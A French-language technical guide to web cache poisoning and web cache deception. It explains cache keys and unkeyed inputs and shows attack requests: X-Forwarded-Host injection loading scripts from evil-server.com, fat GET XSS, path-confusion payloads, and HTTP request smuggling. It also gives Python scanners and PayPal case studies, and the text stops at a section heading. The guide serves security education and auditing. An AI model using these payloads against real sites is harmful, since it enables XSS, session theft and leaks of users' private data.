Guide expert Web Cache Poisoning et Cache Deception : techniques d'exploitation, outils (Param Miner, WCVS), cas réels PayPal/GitHub, défense CDN.
Le web cache poisoning et le web cache deception constituent deux familles d'attaques redoutables qui exploitent les mécanismes de mise en cache déployés massivement sur Internet. Alors que les CDN, reverse proxies et serveurs de cache accélèrent la distribution de contenu pour des milliards d'utilisateurs, ces mêmes infrastructures deviennent des vecteurs d'attaque lorsque leurs configurations présentent des failles. L'empoisonnement de cache permet à un attaquant d'injecter du contenu malveillant dans une réponse mise en cache, affectant potentiellement tous les utilisateurs qui accèdent ensuite à cette ressource. La tromperie de cache, quant à elle, force le serveur à mettre en cache des données sensibles d'un utilisateur authentifié, permettant à l'attaquant de les récupérer ultérieurement. Ces vulnérabilités, popularisées par les recherches de James Kettle chez PortSwigger, ont touché des géants comme PayPal, GitHub et de nombreuses plateformes protégées par Cloudflare ou Akamai. Comprendre ces mécanismes est aujourd'hui indispensable pour tout professionnel de la cybersécurité offensive ou défensive.
Fonctionnement du cache web : fondations techniques
Avant d'aborder les attaques, il est essentiel de comprendre en profondeur comment fonctionne le cache web. Un cache HTTP est un mécanisme de stockage intermédiaire qui conserve des copies de réponses HTTP pour les servir directement aux requêtes ultérieures identiques, sans solliciter le serveur d'origine. Cette optimisation réduit la latence, la bande passante consommée et la charge serveur. Les caches se déploient à plusieurs niveaux : cache navigateur (privé), cache de proxy direct, reverse proxy cache (Varnish, Nginx, HAProxy), et CDN (Content Delivery Network) comme Cloudflare, Akamai, Fastly ou AWS CloudFront.
Cache keys et identification des requêtes
Le concept central du caching HTTP est la cache key (clé de cache). Elle détermine quelles requêtes sont considérées comme « identiques » et peuvent recevoir la même réponse mise en cache. Par défaut, la cache key est composée de la méthode HTTP, de l'hôte (header Host), du chemin (path) et de la query string. Tout le reste de la requête — headers additionnels, cookies, corps de la requête — est généralement exclu de la cache key. Ces éléments exclus sont appelés unkeyed inputs, et c'est précisément là que réside la surface d'attaque du cache poisoning.
Prenons un exemple concret. Les deux requêtes suivantes ont la même cache key si le cache ne prend en compte que le host, le path et la query string :
GET /page?lang=fr HTTP/1.1
Host: example.com
X-Forwarded-Host: evil.com
Cookie: session=abc123
GET /page?lang=fr HTTP/1.1
Host: example.com
X-Forwarded-Host: legitimate.com
Cookie: session=xyz789
Si le serveur d'origine utilise le header X-Forwarded-Host pour générer des URL dans sa réponse, mais que le cache ignore ce header dans sa clé, un attaquant peut empoisonner la réponse en cache avec une version contenant ses propres URL malveillantes. Tous les utilisateurs recevront ensuite cette version empoisonnée.
Headers de contrôle du cache
Les headers HTTP régissent le comportement du cache. Le header Cache-Control est le mécanisme principal depuis HTTP/1.1. Ses directives les plus pertinentes pour notre analyse sont :
| Directive | Rôle | Impact sécurité |
|---|---|---|
public | La réponse peut être cachée par tout intermédiaire | Augmente la surface d'attaque |
private | Seul le cache navigateur peut stocker la réponse | Réduit le risque de cache deception |
no-store | Aucun cache ne doit stocker la réponse | Protection forte contre le caching non désiré |
no-cache | Le cache doit revalider auprès du serveur avant de servir | Ne bloque PAS le stockage, contrairement au nom |
max-age=N | Durée de validité en secondes | Fenêtre temporelle de l'attaque |
s-maxage=N | max-age spécifique aux caches partagés (CDN, proxy) | Contrôle fin du caching intermédiaire |
must-revalidate | Interdit de servir une entrée expirée | Limite la persistance d'un empoisonnement |
Le header Vary joue un rôle critique en sécurité du cache. Il indique au cache quels headers de requête doivent être inclus dans la cache key. Par exemple, Vary: Accept-Encoding signifie que les versions gzip et non-compressée de la réponse sont cachées séparément. Un Vary: Cookie empêcherait le cache de servir la réponse d'un utilisateur à un autre, mais cette approche détruit l'efficacité du cache car chaque utilisateur a un cookie différent.
Architecture des CDN et reverse proxies
Les CDN modernes déploient des serveurs de cache (Points of Presence, PoPs) dans des centaines de datacenters à travers le monde. Quand un utilisateur en France accède à un site protégé par Cloudflare, sa requête atteint le PoP le plus proche (par exemple Paris). Si le contenu est en cache (cache HIT), le PoP le sert directement. Sinon (cache MISS), il transmet la requête au serveur d'origine, met en cache la réponse, puis la sert à l'utilisateur. Les PoPs sont indépendants les uns des autres en termes de cache, ce qui signifie qu'un empoisonnement sur le PoP de Paris n'affecte pas celui de New York. Toutefois, certains CDN offrent un « cache shield » ou « origin shield » — un PoP central devant l'origine — dont l'empoisonnement impacterait tous les PoPs en aval.
Les reverse proxies comme Varnish ou Nginx agissent différemment. Placés directement devant le serveur d'application, ils constituent un point unique de cache. Empoisonner un reverse proxy Varnish affecte tous les utilisateurs qui passent par lui. La configuration VCL (Varnish Configuration Language) définit les règles de cache : quels headers inclure dans la clé, quelles URL mettre en cache, et pour combien de temps.
Point fondamental : La surface d'attaque du cache poisoning repose sur l'écart entre ce que le cache utilise comme clé (keyed inputs) et ce que le serveur d'origine utilise pour construire sa réponse (inputs réels). Tout input qui influence la réponse sans faire partie de la cache key est un vecteur d'empoisonnement potentiel.
Anatomie d'une requête HTTP face au cache
Pour bien comprendre les subtilités du cache poisoning et de la cache deception, il est nécessaire de disséquer le parcours complet d'une requête HTTP à travers l'infrastructure de cache. Ce parcours comporte plusieurs étapes critiques où des divergences peuvent apparaître et être exploitées.
Le cycle de vie d'une requête cacheable
Quand un utilisateur envoie une requête HTTP vers un site protégé par un CDN ou un reverse proxy, la requête traverse les couches suivantes : le navigateur vérifie d'abord son propre cache local (cache privé), puis la requête atteint le CDN edge (PoP le plus proche). Le CDN calcule la cache key en combinant les éléments configurés (généralement host + path + query string). Il cherche une entrée correspondante dans son cache local. En cas de HIT, la réponse est servie immédiatement. En cas de MISS, la requête est transmise au serveur d'origine (potentiellement via un origin shield ou un reverse proxy additionnel comme Varnish ou HAProxy). Le serveur d'origine traite la requête complète — tous les headers, cookies, paramètres, et même le corps — pour générer la réponse. Cette réponse revient au CDN, qui décide de la mettre en cache ou non en se basant sur les headers Cache-Control, le code de statut, le Content-Type, et ses propres règles de configuration. Si la réponse est cacheable, elle est stockée avec la cache key calculée précédemment.
Le point critique est le suivant : le CDN utilise un sous-ensemble des éléments de la requête pour calculer la cache key, mais le serveur utilise potentiellement tous les éléments pour générer la réponse. Cet écart fondamental est la source de toutes les vulnérabilités de cache que nous allons examiner.
ETag, If-None-Match et revalidation
Les mécanismes de revalidation HTTP ajoutent une couche de complexité. Quand une entrée de cache expire (le TTL est dépassé), le cache ne la supprime pas immédiatement. Il envoie plutôt une requête conditionnelle au serveur d'origine avec le header If-None-Match contenant l'ETag de la réponse cachée, ou If-Modified-Since avec la date de dernière modification. Si le serveur répond 304 Not Modified, le cache réutilise l'ancienne réponse (y compris une réponse empoisonnée). Ce mécanisme peut prolonger un empoisonnement au-delà du TTL initial si l'ETag n'a pas changé côté serveur — ce qui est le cas si le contenu n'a pas été modifié depuis l'empoisonnement initial.
Un attaquant averti peut exploiter ce comportement en empoisonnant le cache juste avant une revalidation. Si la requête de revalidation inclut les unkeyed inputs de l'attaquant (ce qui est rare mais possible dans certaines configurations), la réponse « fraîche » sera elle-même empoisonnée et le cycle recommence. Certains caches offrent une option « stale-while-revalidate » qui sert l'ancienne réponse pendant la revalidation en arrière-plan, ce qui signifie que l'empoisonnement persiste encore pendant la durée de la revalidation.
Fragmentation du cache et cache partitioning
Les navigateurs modernes implémentent le cache partitioning (double keying) pour empêcher les attaques de tracking cross-site via le cache. Au lieu d'utiliser uniquement l'URL comme clé, le cache navigateur utilise un tuple (top-level site, URL) comme clé. Cela signifie qu'une ressource chargée depuis cdn.example.com sur le site a.com sera cachée séparément de la même ressource chargée sur le site b.com. Ce mécanisme a un impact indirect sur le cache poisoning : un attaquant qui empoisonne une ressource CDN ne peut pas facilement utiliser le cache navigateur de la victime pour persister l'empoisonnement cross-site. Toutefois, le cache CDN côté serveur n'est pas affecté par le cache partitioning du navigateur — l'empoisonnement au niveau CDN reste pleinement efficace.
Web Cache Poisoning : principes et mécanismes
Le web cache poisoning est une attaque dans laquelle un adversaire envoie une requête HTTP spécialement construite au serveur d'origine, contenant des entrées malveillantes dans des parties de la requête qui ne font pas partie de la cache key. Le serveur traite ces entrées et les reflète dans sa réponse. Le cache stocke ensuite cette réponse empoisonnée et la sert à tous les utilisateurs ultérieurs qui émettent des requêtes avec la même cache key. L'attaquant n'a besoin que d'une seule requête réussie pour affecter potentiellement des milliers ou millions d'utilisateurs.
Les unkeyed inputs : le vecteur fondamental
Les unkeyed inputs sont des composants de la requête HTTP qui influencent la réponse du serveur mais ne sont pas pris en compte par le cache pour différencier les requêtes. Les catégories principales d'unkeyed inputs sont :
Headers HTTP non standards : X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto, X-Original-URL, X-Rewrite-URL. Ces headers sont utilisés par les applications pour déterminer l'URL de base, le protocole ou le chemin original de la requête, typiquement dans des environnements avec des proxies ou load balancers. Ils ne font quasiment jamais partie de la cache key.
Cookies : Bien que le header Cookie soit souvent exclu de la cache key pour des raisons de performance, certaines applications utilisent des valeurs de cookies pour personnaliser les réponses (langue, thème, tracking). Si un cookie influence le contenu HTML sans faire partie de la clé de cache, il devient un vecteur d'empoisonnement.
Headers de requête standards rarement clés : Accept-Language, User-Agent, Referer, Origin. Certains serveurs génèrent du contenu différent selon ces headers (par exemple, la langue), mais les caches les excluent souvent de la clé pour maximiser le taux de hit.
Méthodologie d'attaque en trois phases
L'exploitation du cache poisoning suit une méthodologie systématique développée par James Kettle et affinée par la communauté de recherche en sécurité :
Phase 1 — Identification des unkeyed inputs. L'attaquant utilise un outil comme Param Miner (extension Burp Suite) pour envoyer des requêtes avec des headers additionnels et observer si la réponse change. Par exemple, il ajoute X-Forwarded-Host: canary.example.com et vérifie si la chaîne « canary.example.com » apparaît dans la réponse. La clé est de distinguer les inputs qui modifient la réponse (reflétés) de ceux qui sont ignorés.
Phase 2 — Exploitation de l'input reflété. Une fois un unkeyed input identifié qui est reflété dans la réponse, l'attaquant cherche à en abuser. Si le header X-Forwarded-Host est utilisé pour construire des URL de scripts JavaScript, l'attaquant peut injecter un domaine qu'il contrôle pour charger un script malveillant. Si un cookie est reflété sans encodage, il peut injecter du HTML ou JavaScript directement.
Phase 3 — Empoisonnement du cache. L'attaquant envoie sa requête malveillante et vérifie que la réponse est mise en cache (en observant le header X-Cache: HIT ou CF-Cache-Status: HIT sur les requêtes suivantes). Il peut devoir attendre l'expiration d'une entrée existante ou cibler une URL qui n'a pas encore été cachée. Une fois l'entrée empoisonnée en cache, toutes les requêtes avec la même cache key recevront la réponse malveillante pendant toute la durée du TTL.
Techniques d'exploitation du cache poisoning
Host header poisoning
L'attaque la plus classique consiste à manipuler le header Host ou ses substituts. De nombreux frameworks web utilisent le header Host pour construire des URL absolues dans les réponses HTML. Si le cache n'inclut pas certains de ces headers dans sa clé, l'attaquant peut les manipuler.
GET /login HTTP/1.1
Host: target.com
X-Forwarded-Host: evil-server.com
HTTP/1.1 200 OK
Cache-Control: public, max-age=3600
<html>
<head>
<link rel="stylesheet" href="https://evil-server.com/static/style.css">
<script src="https://evil-server.com/static/main.js"></script>
</head>
...
Dans cet exemple, le serveur utilise X-Forwarded-Host pour construire les URL des ressources statiques. L'attaquant pointe ces URL vers son serveur, où il héberge un fichier main.js malveillant qui exfiltre les cookies de session ou injecte un keylogger. Cette réponse est ensuite mise en cache et servie à chaque visiteur de la page /login.
Manipulation via X-Forwarded-Scheme et X-Forwarded-Proto
Certaines applications utilisent X-Forwarded-Scheme ou X-Forwarded-Proto pour déterminer si la requête arrive en HTTP ou HTTPS. Si l'attaquant envoie X-Forwarded-Scheme: http sur une requête HTTPS, l'application peut générer une redirection de HTTP vers HTTPS :
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Scheme: http
HTTP/1.1 301 Moved Permanently
Location: https://target.com/page
Cache-Control: public, max-age=86400
Cette redirection mise en cache peut sembler inoffensive, mais combinée avec le header X-Forwarded-Host, elle devient dévastatrice :
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Scheme: http
X-Forwarded-Host: evil.com
HTTP/1.1 301 Moved Permanently
Location: https://evil.com/page
Cache-Control: public, max-age=86400
Chaque utilisateur qui visite /page est maintenant redirigé vers le site de l'attaquant, qui peut héberger un clone de phishing ou exploiter d'autres vulnérabilités.
Fat GET requests
Certains frameworks traitent un corps dans une requête GET. Si le cache ignore le corps de la requête (ce qui est le standard, puisque GET ne devrait pas avoir de corps selon la RFC), l'attaquant peut envoyer un « fat GET » — une requête GET avec un corps contenant des paramètres qui écrasent ceux de la query string :
GET /api/config?callback=loadConfig HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
callback=alert(document.cookie)//
Si le framework priorise les paramètres du corps sur ceux de la query string, la réponse contiendra alert(document.cookie)//({...}) au lieu de loadConfig({...}). Le cache, qui n'inclut que la query string dans sa clé, servira cette réponse empoisonnée à toute requête pour /api/config?callback=loadConfig.
Parameter cloaking
Le parameter cloaking exploite les différences de parsing des paramètres entre le cache et le serveur d'origine. Certains caches utilisent le caractère & comme unique séparateur de paramètres, tandis que certains serveurs acceptent aussi ; (point-virgule). Cette divergence permet de « cloaker » un paramètre malveillant :
GET /page?innocent=value;malicious=payload HTTP/1.1
Host: target.com
Le cache voit un seul paramètre : innocent=value;malicious=payload. Le serveur Ruby on Rails, qui accepte le point-virgule comme séparateur, voit deux paramètres : innocent=value et malicious=payload. La cache key inclut innocent=value;malicious=payload, mais la réponse est générée avec le paramètre malicious traité séparément. L'attaquant peut ainsi injecter des paramètres qui influencent la réponse sans altérer la cache key perçue par le proxy.
Cache key normalization
La normalisation de la cache key est une source fréquente de vulnérabilités. Différents composants de l'infrastructure peuvent normaliser les URL différemment :
| Composant | Normalisation appliquée | Impact potentiel |
|---|---|---|
| Cache (CDN) | Décodage des caractères URL-encodés | Le cache voit /page et /%70age comme identiques |
| Serveur d'origine | Pas de décodage supplémentaire | Le serveur traite /%70age littéralement |
| Cache | Suppression du port dans le Host | target.com:443 → target.com |
| Cache | Tri des paramètres de query string | ?b=2&a=1 → ?a=1&b=2 |
| Cache | Suppression des fragments (#) | Le fragment n'est jamais envoyé au serveur |
Un attaquant peut exploiter ces divergences de normalisation pour créer des collisions de cache key intentionnelles. Par exemple, si le CDN normalise les chemins en décodant les caractères URL-encodés mais que le serveur ne le fait pas, l'attaquant peut empoisonner /page en envoyant une requête à /%70%61%67%65 avec un payload malveillant dans un header non clé.
Exploitation via le header Vary insuffisant
Quand une application adapte son contenu selon un header de requête (par exemple Accept-Language pour la localisation), elle devrait inclure ce header dans le Vary de la réponse. L'absence de cette directive permet un empoisonnement ciblé. Si le serveur génère du contenu différent selon Accept-Language mais ne renvoie pas Vary: Accept-Language, un attaquant germanophone peut empoisonner le cache avec la version allemande d'une page française, provoquant confusion et potentiellement du contenu malveillant injecté via le mécanisme de traduction.
Les cinq piliers du cache poisoning : (1) Identifier les unkeyed inputs avec Param Miner, (2) Vérifier leur réflexion dans la réponse, (3) Construire un payload exploitable (XSS, redirection, injection de script), (4) Timing l'attaque avec l'expiration du cache, (5) Vérifier l'empoisonnement depuis une session différente. Chaque étape nécessite une compréhension fine du comportement du cache cible.
Web Cache Deception : principes et mécanismes
Le web cache deception (WCD), découvert par Omer Gil en 2017 et considérablement approfondi par les recherches de PortSwigger en 2023-2024, est fondamentalement différent du cache poisoning. Là où le poisoning injecte du contenu malveillant dans le cache, la deception trompe le cache pour qu'il stocke une réponse contenant des données sensibles d'un utilisateur authentifié, permettant à l'attaquant de les récupérer.
Principe fondamental
L'attaque repose sur une divergence entre la façon dont le cache détermine si une réponse est « cacheable » et la façon dont le serveur d'origine traite la requête. Le scénario classique :
1. L'attaquant construit une URL spéciale, par exemple https://target.com/account/profile/nonexistent.css.
2. Le cache (CDN) examine le chemin, voit l'extension .css, et décide que c'est une ressource statique à mettre en cache.
3. Le serveur d'origine ne trouve pas le fichier nonexistent.css dans le répertoire /account/profile/. Selon sa configuration de routage, il peut ignorer le segment final et servir la page /account/profile — qui contient les données personnelles de l'utilisateur authentifié.
4. Le cache stocke cette réponse (contenant les données sensibles) sous la clé /account/profile/nonexistent.css.
5. L'attaquant, non authentifié, accède à /account/profile/nonexistent.css et récupère les données de la victime depuis le cache.
Path confusion et délimiteurs
La recherche moderne sur le WCD s'est concentrée sur les divergences de traitement des chemins (path confusion) entre le cache et le serveur. Les frameworks web et les serveurs de cache interprètent différemment certains caractères et séquences dans les URL :
Délimiteurs de chemin : Le point-virgule (;) est traité comme un délimiteur de paramètre de chemin par certains frameworks Java (Spring, Tomcat) mais comme un caractère normal par la plupart des caches. Ainsi, /account/profile;anything.css est routé vers /account/profile par Spring (qui ignore ;anything.css) mais le cache voit un chemin se terminant par .css et décide de cacher la réponse.
Encodage de caractères : L'encodage URL de certains caractères peut créer des divergences. Par exemple, /account/profile%2Fnonexistent.css : certains serveurs décodent %2F en / et routent vers /account/profile, tandis que le cache traite %2F littéralement et voit un seul segment de chemin.
Caractères spéciaux : Le caractère # (fragment), le ? (query string), et le caractère nul (%00) sont interprétés différemment. Certains serveurs tronquent le chemin au premier %00, tandis que les caches peuvent l'ignorer ou le traiter comme un caractère valide.
# Payloads de path confusion pour web cache deception
# Exploitation du point-virgule (Java/Spring)
GET /account/profile;x.css HTTP/1.1
Host: target.com
Cookie: session=VICTIM_SESSION
# Exploitation du %2F encodé
GET /account/profile%2Fstyle.css HTTP/1.1
Host: target.com
Cookie: session=VICTIM_SESSION
# Exploitation du caractère nul
GET /account/profile%00.css HTTP/1.1
Host: target.com
Cookie: session=VICTIM_SESSION
# Exploitation du point final (IIS/Windows)
GET /account/profile.css HTTP/1.1
Host: target.com
Cookie: session=VICTIM_SESSION
# Exploitation des path traversal normalisés
GET /static/../account/profile HTTP/1.1
Host: target.com
Cookie: session=VICTIM_SESSION
Normalization discrepancies
Les divergences de normalisation entre le cache et le serveur créent des vecteurs de WCD particulièrement subtils. Quand le cache normalise les chemins (résolution des .., décodage des caractères, suppression des doubles slashes) mais que le serveur les traite différemment, ou vice versa, des attaques deviennent possibles.
Considérons un CDN qui résout les séquences ../ dans le chemin avant de former la cache key, mais qui transmet le chemin original au serveur. La requête GET /static/../account/profile génère une cache key basée sur /account/profile (après résolution du ..). Le serveur reçoit le chemin original, le résout aussi en /account/profile et sert la page de profil. Mais le CDN, voyant le préfixe /static/ dans le chemin original, applique ses règles de cache pour les ressources statiques. Le résultat : la page de profil dynamique est mise en cache comme si elle était une ressource statique.
L'inverse est aussi exploitable : si le serveur normalise mais pas le cache. La requête GET /account/profile/..%2Fstatic/logo.png est vue par le cache comme un chemin sous /account/profile/ — qu'il ne met pas en cache car c'est dynamique. Mais le serveur décode %2F, résout le .., et sert /static/logo.png. Ce scénario est moins utile pour le WCD mais illustre la complexité des divergences.
Exploitation avancée : static directory caching rules
La plupart des CDN et reverse proxies sont configurés pour mettre automatiquement en cache les ressources sous certains répertoires (typiquement /static/, /assets/, /media/, /wp-content/) ou avec certaines extensions (.css, .js, .png, .jpg, .woff2). L'attaquant exploite ces règles en construisant des URL qui satisfont les critères de caching du CDN tout en étant routées vers des pages dynamiques par le serveur.
# Script Python pour tester le web cache deception
import requests
import time
import sys
TARGET = "https://target.com"
ENDPOINTS = ["/account/profile", "/account/settings", "/dashboard"]
EXTENSIONS = [".css", ".js", ".png", ".jpg", ".svg", ".woff2", ".ico"]
DELIMITERS = [";", "%23", "%3F", "%00", "%0A", "/"]
PATHS = ["/static/..", "/assets/..", "/images/.."]
def test_wcd(endpoint, suffix, session_cookie):
"""Teste si une combinaison endpoint+suffix est vulnérable au WCD"""
url = f"{TARGET}{endpoint}{suffix}"
headers = {"Cookie": f"session={session_cookie}"}
# Première requête : authentifiée, devrait mettre en cache
r1 = requests.get(url, headers=headers, allow_redirects=False)
cache_status_1 = r1.headers.get("X-Cache", r1.headers.get("CF-Cache-Status", "UNKNOWN"))
if r1.status_code != 200:
return None
# Deuxième requête : sans authentification
time.sleep(1)
r2 = requests.get(url, allow_redirects=False)
cache_status_2 = r2.headers.get("X-Cache", r2.headers.get("CF-Cache-Status", "UNKNOWN"))
# Si la réponse non-authentifiée contient des données du profil
if "email" in r2.text or "username" in r2.text:
return {
"url": url,
"cache_hit": cache_status_2,
"sensitive_data": True,
"status": r2.status_code
}
return None
def main():
session = sys.argv[1] if len(sys.argv) > 1 else "YOUR_SESSION_COOKIE"
print("[*] Web Cache Deception Scanner")
print(f"[*] Target: {TARGET}")
for endpoint in ENDPOINTS:
for ext in EXTENSIONS:
# Test extension directe
result = test_wcd(endpoint, f"/x{ext}", session)
if result:
print(f"[!] VULNERABLE: {result['url']}")
# Test avec délimiteurs
for delim in DELIMITERS:
result = test_wcd(endpoint, f"{delim}x{ext}", session)
if result:
print(f"[!] VULNERABLE: {result['url']}")
# Test avec path traversal
for path in PATHS:
result = test_wcd(f"{path}{endpoint}", "", session)
if result:
print(f"[!] VULNERABLE: {result['url']}")
if __name__ == "__main__":
main()
Cache Poisoning via HTTP Request Smuggling
La combinaison du HTTP request smuggling avec le cache poisoning crée un vecteur d'attaque particulièrement dévastateur. Le smuggling exploite les divergences entre un proxy frontal (ou CDN) et le serveur backend dans l'interprétation des limites de requêtes HTTP, permettant à l'attaquant de « contrebandier » une seconde requête à l'intérieur de la première.
Empoisonnement via CL.TE smuggling
Dans un scénario CL.TE (le proxy frontal utilise Content-Length, le backend utilise Transfer-Encoding), l'attaquant envoie une requête contenant une seconde requête « smugglée » dans son corps. Quand le backend traite cette seconde requête, sa réponse est associée à la prochaine requête légitime dans la file — potentiellement une requête d'un utilisateur innocent. Si cette requête est mise en cache, l'empoisonnement est réalisé.
POST / HTTP/1.1
Host: target.com
Content-Length: 178
Transfer-Encoding: chunked
0
GET /login HTTP/1.1
Host: target.com
Content-Length: 50
X-Forwarded-Host: evil.com
x=1
Le proxy frontal voit une requête POST unique (en utilisant Content-Length). Le backend, utilisant Transfer-Encoding: chunked, voit le chunk de taille 0 (fin de la requête chunked), puis interprète le reste comme le début d'une nouvelle requête GET vers /login. La réponse à cette requête smugglée — construite avec X-Forwarded-Host: evil.com — sera associée à la prochaine requête légitime d'un utilisateur et potentiellement mise en cache.
Empoisonnement via TE.CL smuggling
L'inverse, TE.CL (proxy utilise Transfer-Encoding, backend utilise Content-Length), permet des attaques similaires avec une structure différente. Le proxy découpe les données selon les chunks, tandis que le backend les lit selon la longueur déclarée, laissant des données « en attente » qui empoisonneront la requête suivante.
HTTP/2 downgrade et cache poisoning
Les attaques de smuggling H2.CL et H2.TE exploitent le downgrade de HTTP/2 vers HTTP/1.1 entre le CDN (qui parle HTTP/2 avec le client) et le backend (qui reçoit du HTTP/1.1). HTTP/2 encode la longueur du corps différemment de HTTP/1.1, et les headers comme Transfer-Encoding n'existent pas en HTTP/2. Quand le CDN traduit une requête HTTP/2 en HTTP/1.1 pour la transmettre au backend, des incohérences peuvent apparaître et permettre le smuggling, puis l'empoisonnement du cache.
Un cas particulièrement critique est le request tunnelling via CRLF injection en HTTP/2. HTTP/2 transporte les headers en format binaire et ne devrait pas autoriser les caractères de retour chariot et saut de ligne. Toutefois, certaines implémentations ne filtrent pas correctement ces caractères lors du downgrade vers HTTP/1.1. Un attaquant peut injecter \r\n dans un header HTTP/2 pour ajouter des headers arbitraires — dont Transfer-Encoding: chunked — dans la requête HTTP/1.1 résultante, déclenchant un smuggling qui empoisonne le cache.
Outils d'audit et de détection
Param Miner (extension Burp Suite)
Param Miner, développée par James Kettle (PortSwigger), est l'outil de référence pour identifier les unkeyed inputs. L'extension teste automatiquement des milliers de headers HTTP et de paramètres pour détecter ceux qui modifient la réponse sans faire partie de la cache key. Son fonctionnement :
Guess headers : Param Miner envoie des requêtes avec un cache buster dans la query string (pour éviter d'interférer avec d'autres utilisateurs) et ajoute itérativement des headers depuis une wordlist. Pour chaque header, il compare la réponse avec un « baseline » (réponse sans le header). Si la réponse diffère, le header influence la réponse et est un candidat pour le cache poisoning.
Guess parameters : Même approche pour les paramètres GET et POST. Param Miner teste si l'ajout d'un paramètre modifie la réponse. Pour le parameter cloaking, il teste avec différents séparateurs (;, &).
Configuration recommandée pour l'audit de cache :
# Param Miner - Configuration recommandée
# Dans Burp → Extensions → Param Miner → Options
# Activer le scanning des headers
Add dynamic cachebuster: ON
Cache buster: Unique per-request query parameter
# Headers à tester en priorité
X-Forwarded-Host
X-Forwarded-Scheme
X-Forwarded-Proto
X-Forwarded-Port
X-Original-URL
X-Rewrite-URL
X-Forwarded-For
X-Host
X-Forwarded-Server
Forwarded
X-Real-IP
X-Cluster-Client-IP
True-Client-IP
CF-Connecting-IP
Fastly-Client-IP
# Paramètres à tester
cb, callback, jsonp, utm_source, utm_content, _method, debug
Web Cache Vulnerability Scanner (wcvs)
Le Web Cache Vulnerability Scanner, développé par Hackmanit, automatise la détection des vulnérabilités de cache poisoning et cache deception. Il teste systématiquement plusieurs catégories d'attaques et génère des rapports détaillés. L'outil peut être exécuté en mode passif (observation du comportement du cache) ou actif (envoi de requêtes de test).
Scripts personnalisés
Pour les audits avancés, des scripts personnalisés permettent de tester des scénarios spécifiques. Voici un script de détection de cache poisoning via headers :
#!/usr/bin/env python3
"""
Cache Poisoning Detector
Teste les unkeyed inputs sur une cible donnée
"""
import requests
import hashlib
import random
import string
import time
import json
from urllib.parse import urlencode
class CachePoisonDetector:
def __init__(self, target_url, verbose=True):
self.target = target_url
self.verbose = verbose
self.session = requests.Session()
self.findings = []
# Headers à tester
self.test_headers = [
"X-Forwarded-Host", "X-Forwarded-Scheme", "X-Forwarded-Proto",
"X-Forwarded-Port", "X-Forwarded-For", "X-Original-URL",
"X-Rewrite-URL", "X-Host", "Forwarded", "X-Real-IP",
"X-Custom-IP-Authorization", "True-Client-IP",
"CF-Connecting-IP", "Fastly-Client-IP",
"X-Forwarded-Prefix", "X-Azure-Ref",
]
def _cache_buster(self):
"""Génère un paramètre unique pour éviter les interférences de cache"""
rand = ''.join(random.choices(string.ascii_lowercase, k=8))
return f"cb={rand}"
def _get_baseline(self, url):
"""Obtient une réponse de référence"""
r = self.session.get(url, allow_redirects=False)
return {
"status": r.status_code,
"body_hash": hashlib.md5(r.content).hexdigest(),
"headers": dict(r.headers),
"body_length": len(r.content),
"body": r.text
}
def _is_cached(self, headers):
"""Vérifie si la réponse vient du cache"""
cache_indicators = {
"X-Cache": ["HIT", "hit"],
"CF-Cache-Status": ["HIT", "DYNAMIC"],
"X-Varnish": None, # Présence seule indique Varnish
"Age": None, # Valeur > 0 indique cache
"X-Cache-Hits": None,
}
for header, values in cache_indicators.items():
if header in headers:
if values is None:
return True
if any(v in headers[header] for v in values):
return True
return False
def test_header_reflection(self, header_name, canary_value):
"""Teste si un header est reflété dans la réponse"""
cb = self._cache_buster()
url = f"{self.target}?{cb}"
# Requête avec le header de test
test_headers = {header_name: canary_value}
r = self.session.get(url, headers=test_headers, allow_redirects=False)
if canary_value in r.text:
return {
"header": header_name,
"reflected": True,
"cached": self._is_cached(r.headers),
"context": self._find_context(r.text, canary_value)
}
return None
def _find_context(self, body, canary):
"""Identifie le contexte HTML de la réflexion"""
idx = body.find(canary)
start = max(0, idx - 100)
end = min(len(body), idx + len(canary) + 100)
snippet = body[start:end]
if f'src="{canary}' in snippet or f"src='{canary}" in snippet:
return "SCRIPT_SRC"
if f'href="{canary}' in snippet or f"href='{canary}" in snippet:
return "LINK_HREF"
if f'action="{canary}' in snippet:
return "FORM_ACTION"
return "OTHER"
def scan(self):
"""Lance le scan complet"""
print(f"[*] Scanning {self.target} for cache poisoning vectors")
for header in self.test_headers:
canary = f"cptest-{random.randint(10000,99999)}.example.com"
result = self.test_header_reflection(header, canary)
if result and result["reflected"]:
severity = "HIGH" if result["context"] in ["SCRIPT_SRC", "LINK_HREF"] else "MEDIUM"
finding = {
"type": "UNKEYED_HEADER_REFLECTION",
"header": header,
"context": result["context"],
"severity": severity,
"cached": result["cached"]
}
self.findings.append(finding)
print(f"[!] {severity}: {header} reflected in {result['context']}")
return self.findings
if __name__ == "__main__":
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
scanner = CachePoisonDetector(target)
results = scanner.scan()
print(json.dumps(results, indent=2))
Burp Suite Professional — workflow d'audit
Un audit complet de la sécurité du cache avec Burp Suite suit un workflow structuré :
Étape 1 — Reconnaissance : Identifier la technologie de cache (Varnish, Nginx, CDN) via les headers de réponse (Via, X-Varnish, Server, CF-Ray). Cartographier les URL mises en cache vs dynamiques. Mesurer le TTL en observant le header Age.
Étape 2 — Param Miner : Lancer le scan de headers sur les pages clés (login, accueil, pages de profil). Analyser les résultats pour identifier les unkeyed inputs reflétés.
Étape 3 — Exploitation : Construire un payload PoC dans Burp Repeater. Envoyer la requête empoisonnée et vérifier que la réponse est cachée. Confirmer l'empoisonnement depuis un navigateur en mode incognito.
Étape 4 — Cache Deception : Tester les payloads de path confusion sur les pages authentifiées. Vérifier si les réponses sont mises en cache en examinant les headers de cache.
Cas réels et études de cas
PayPal : cache poisoning conduisant à un stored XSS
En 2018, James Kettle a démontré un cache poisoning sur PayPal en exploitant le header X-Forwarded-Host. Le site PayPal utilisait ce header pour construire des URL dans ses pages. Le CDN Akamai ne l'incluait pas dans la cache key. Kettle a pu empoisonner des pages PayPal avec des payloads XSS en pointant les URL de scripts vers un domaine qu'il contrôlait. L'impact était considérable : tout utilisateur visitant les pages empoisonnées (pages de paiement, login) exécutait le JavaScript de l'attaquant dans le contexte de paypal.com, permettant le vol de cookies de session et de données de paiement.
Web Cache Deception sur PayPal (Omer Gil, 2017)
